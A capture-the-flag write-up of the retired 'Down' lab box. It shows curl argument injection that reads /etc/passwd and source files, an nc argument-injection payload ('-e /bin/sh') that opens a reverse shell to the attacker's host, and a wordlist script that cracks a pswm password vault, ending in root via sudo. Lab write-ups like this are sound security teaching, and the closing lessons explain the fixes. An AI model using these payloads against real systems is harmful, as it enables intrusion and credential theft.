Down

An Easy Linux box (the first VulnLab -> HTB migration) hinging on argument injection into curl and nc, then a cracked pswm vault and wide-open sudo.

OS
Linux
Difficulty
Easy
Retired
20 Jun 2025
Skills
web, argument-injection, privesc

Down is an easy Linux box (the first VulnLab -> HTB migration) that hinges on a single primitive: escapeshellcmd() stops command injection but does nothing about argument injection. A website-uptime checker shells out to curl and nc with user input glued into the command string. I abuse curl’s multi-URL handling to read arbitrary files, recover the PHP source, then abuse an intval()/original-string validation gap in an “expert mode” to inject -e /bin/sh into nc for a shell. Root falls out of a cracked pswm vault (scrypt + AES-GCM) and a wide-open sudo rule.

Path to root, at a glance:
  1. Inject a curl argument -> read arbitrary files -> dump the PHP source.
  2. Read the source -> find a hidden expertmode that runs nc with a validation bug.
  3. Inject -e /bin/sh into nc -> shell as www-data.
  4. Loot a pswm password vault -> crack it offline -> password for aleks.
  5. aleks has full sudo -> root.

Recon - nmap

┌──(pwn㉿pwn)-[~/HTB]
└─$ sudo nmap -Pn -A 10.129.47.7
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Is it down or just me?

OpenSSH 8.9p1 + Apache 2.4.52 -> Ubuntu 22.04 (jammy). Neither version buys anything; the web app is the target.

Enumeration - the app

index.php takes a URL and reports whether the site is up. Point it at your own listener and you see how it fetches:

> nc -nvlp 80
listening on [any] 80 ...
connect to [10.10.14.242] from (UNKNOWN) [10.129.47.7] 35308
GET / HTTP/1.1
Host: 10.10.14.242
User-Agent: curl/7.81.0
Accept: */*

So the app runs something like curl -s <your input>. First instinct is command injection - http://localhost; whoami, | id, && ping. None of it fires: the app is escaping shell metacharacters. But escaping metacharacters is not the same as escaping arguments.

Foothold - argument injection -> file read

Prove we control curl’s argv by injecting its own help flag:

http://127.0.0.1 -h

The response comes back full of curl’s usage text - our input is being parsed as curl options. curl fetches multiple URLs in sequence, so pass a dummy HTTP URL to satisfy the ^https?:// check, a space, then a file:// read:

http://127.0.0.1/ file:///etc/hostname
http://127.0.0.1/ file:///etc/passwd

From /etc/passwd: two real users, root and aleks.

Grab the app source through the same primitive:

http://127.0.0.1/ file:///var/www/html/index.php

The interesting handler is gated behind a hidden GET parameter, ?expertmode=tcp:

if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' && isset($_POST['ip']) && isset($_POST['port']) ) {
  $ip = trim($_POST['ip']);
  $valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
  $port = trim($_POST['port']);
  $port_int = intval($port);
  $valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
  if ( $valid_ip && $valid_port ) {
    $ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
    exec($ec . " 2>&1",$output,$rc);
    ...
  }
}

The bug is the gap between validation and use:

  • The port is validated after intval().
  • The original string - not the validated int - is what gets put in the command.

intval() reads a leading number and stops at the first non-digit:

php > echo intval("1234 -e /bin/sh");   // => 1234, passes FILTER_VALIDATE_INT

So 1234 -e /bin/sh passes validation, then gets spliced straight into the nc command. Same escapeshellcmd argument-injection weakness, and this nc build supports -e, which runs a program on connect. That’s our shell.

Shell as www-data

The port field is <input type="number">, but that’s client-side only - send the request directly:

# Listener
nc -lnvp 443
POST /index.php?expertmode=tcp HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

ip=<your-ip>&port=443+-e+/bin/sh

The server runs nc -vz <your-ip> 443 -e /bin/sh and connects back. Stabilize:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl-Z
stty raw -echo; fg
export TERM=xterm

User flag: /var/www/html/user_*.txt.

Privilege escalation - the pswm vault

www-data can partially read aleks’ home:

find /home/aleks -type f 2>/dev/null
# /home/aleks/.local/share/pswm/pswm    <-- readable
# .ssh / .cache are 700 — denied

pswm is Julynx’s CLI password manager. The vault is four *-separated base64 fields - the signature of the cryptocode library: ciphertext * salt * nonce * tag, and the scheme is:

key = scrypt(master_password, salt, N=2**14, r=8, p=1, dklen=32)
pt  = AES-256-GCM.decrypt_and_verify(ciphertext, nonce, tag, key)

The point that makes cracking clean: the GCM tag is a correctness oracle. A wrong master password derives a wrong key, decrypt_and_verify fails the tag, and cryptocode.decrypt returns False - never a false positive. The crack loop is just: try password -> cryptocode.decrypt -> truthy means we’re in.

import cryptocode

def bf(encrypted_text, wordlist):
    with open(wordlist, "r", encoding="utf-8") as f:
        for password in f:
            decrypted = cryptocode.decrypt(encrypted_text, password.strip())
            if decrypted:
                print("[+] Master Password: %s" % password.strip())
                print(decrypted)
                return
    print("[-] Password Not Found!")
$ python3 pswm-decrypt.py -f pswm -w /usr/share/wordlists/rockyou.txt
[+] Master Password: flower
[+] Decrypted Data:
+------------+----------+----------------------+
| Alias      | Username | Password             |
+------------+----------+----------------------+
| pswm       | aleks    | ********             |
| aleks@down | aleks    | ********             |
+------------+----------+----------------------+

flower is near the top of rockyou, so it lands almost immediately. The vault hands us aleks’ login password.

scrypt with N=2**14 is deliberately memory-hard (~16 MB/attempt), so a serial loop is fine here only because the master password is a top-rockyou hit. Against a stronger password you’d parallelise across cores and call PyCryptodome directly.

Root

ssh aleks@$TARGET

sudo -l
# (ALL : ALL) ALL

sudo -i
# root@down:~#

Full sudo, no restrictions. Grab root.txt.

Lessons (three fixes)

  • escapeshellcmd() != escapeshellarg(). The first blocks shell metacharacters but leaves - alone, so any binary behind it is open to flag injection. User input that becomes a single argument needs escapeshellarg(), plus -- to end option parsing.
  • Validate the value you actually use. The intval() -> validate -> use gap is the nc injection. Re-assign the sanitized int ($port = (int)$port;) before it touches the command.
  • A leaked GCM vault is an offline password oracle. The authenticity tag doubles as the “is this the right key” check, so the only thing between a stolen vault and its contents is the KDF cost - defeated here by a weak master password.